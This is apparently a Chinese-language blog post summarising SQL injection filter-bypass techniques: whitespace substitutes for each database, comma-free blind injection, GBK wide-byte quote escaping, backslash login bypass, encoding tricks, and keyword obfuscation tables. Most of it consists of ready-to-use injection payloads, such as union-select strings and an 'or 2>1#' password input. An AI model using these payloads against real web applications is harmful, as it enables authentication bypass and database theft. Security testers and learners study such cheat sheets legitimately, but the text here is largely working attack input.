数据库 空白字符
SQLite3 0A 0D 0C 09 20
MYSQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20

逗号过滤/拦截

拦截逗号后,意味着大部分的联合查询注入都失效,这个时候可以尝试进行盲注。

substring和if语句都用到了逗号,因此无法使用。

substring可以用substr函数来进行代替,if语句可以通过and语句来进行代替。

1
2
id=1 AND ascii(substr((SELECT database()) FROM 1 FOR
1))>115

其中

1
substr(SELECT database()) FROM 1 TO 1

返回database()中的第一个字符,可以通过脚本递增,来返回database中的所有字符;然后将ascii码进行比较,如果大于115,则则语句为真,id正常回显,否则不正常回显。

通过这种方法,通常引出二分法,便于快速筛出字符串。

除了以上方法,也可以通过join的语法来进行绕过。

1
id=1 union select *from (select 1)a join (select database())b

单引号拦截/过滤/转义

当引号存在过滤和转义的情况下,可以这样处理:

  • 利用编码特性绕过。(宽字节注入)

比较典型的使用编码就是GBK编码:使用前面的字符吃掉后面的字符(斜杆)。

原理:MYSQL在使用GBK编码的时候,会认为两个字符为一个汉字,,例如%aa%5c 就是一个 汉字(前一个 ascii 码大于 128 才能到汉字的范围)。

1
id=1%df' union select 1,database()#

转义后传入的id:

1
1 %df\‘ => 1%df%5c’=> 1�’
  • 利用反斜杠\绕过

当在登录时使用的是如下SQL语句:

1
select user from user where user='$_POST[username]' and password='$_POST[password]';

在这里单引号被过滤了,但是反斜杠\并没有被过滤。则单引号可以被转义

输入的用户名以反斜杠\结尾

1
2
3
4
5
6
7
username=admin\&password=123456#
将这个拼接进去,\就可以将第2个单引号转义掉
select * from users where username='admin\' and password='123456#';
这样第1个单引号就会找第3个单引号进行闭合,后台接收到的username实际上是admin\' and password=这个整体
接下来构造password为or 2>1#
select * from users where username='admin\' and password=' or 2>1#';
上面的语句会返回为真,通过这样的思路,我们就可以进行bool盲注
  • 将 utf-8 转换为 utf-16 或 utf-32

将 utf-8 转换为 utf-16 或 utf-32,例如将 ‘ 转为 utf-16 为 � ‘。

可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换:

1
2
3
4
➜  ~ echo \'|iconv -f utf-8 -t utf-16
��'
➜ ~ echo \'|iconv -f utf-8 -t utf-32
��'

数字被过滤/拦截绕过

数字被屏蔽时,用响应函数结果来构造。

  • ceil() :为向上取整函数
  • floor():为向下取整函数
  • ! ~~:起到取反的效果
  • pi() :π值
  • version():利用当前版本号进行数字的构造
  • false:值为0
  • true:值为1

等号过滤

当等于号=背过滤时,可以使用:like,in 等字符替换

1
2
?id=1' or '1' IN ('1234')#
?id=1' or 1 like 1#

其他关键字过滤/拦截绕过

关键字被过滤时,可以通过双写或大小写、其他编码例如十六进制、URL编码来进行绕过:

关键字 双写 大小写 其他编码 符号
and aandnd and an\x64 &&
select selselectect SelECt selec\x74
or oorr oR o\x72 ||
union uniunionon uNioN unio\x6e

当被拦截的时候,通常寻找其他函数进行代替。

参考资料

MYSQL注入天书之开天辟地

MYSQL报错注入的一点总结

  • Post title:SQL注入总结
  • Post author:John_Frod
  • Create time:2021-03-07 19:04:50
  • Post link:https://keep.xpoet.cn/2021/03/07/SQL注入总结/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.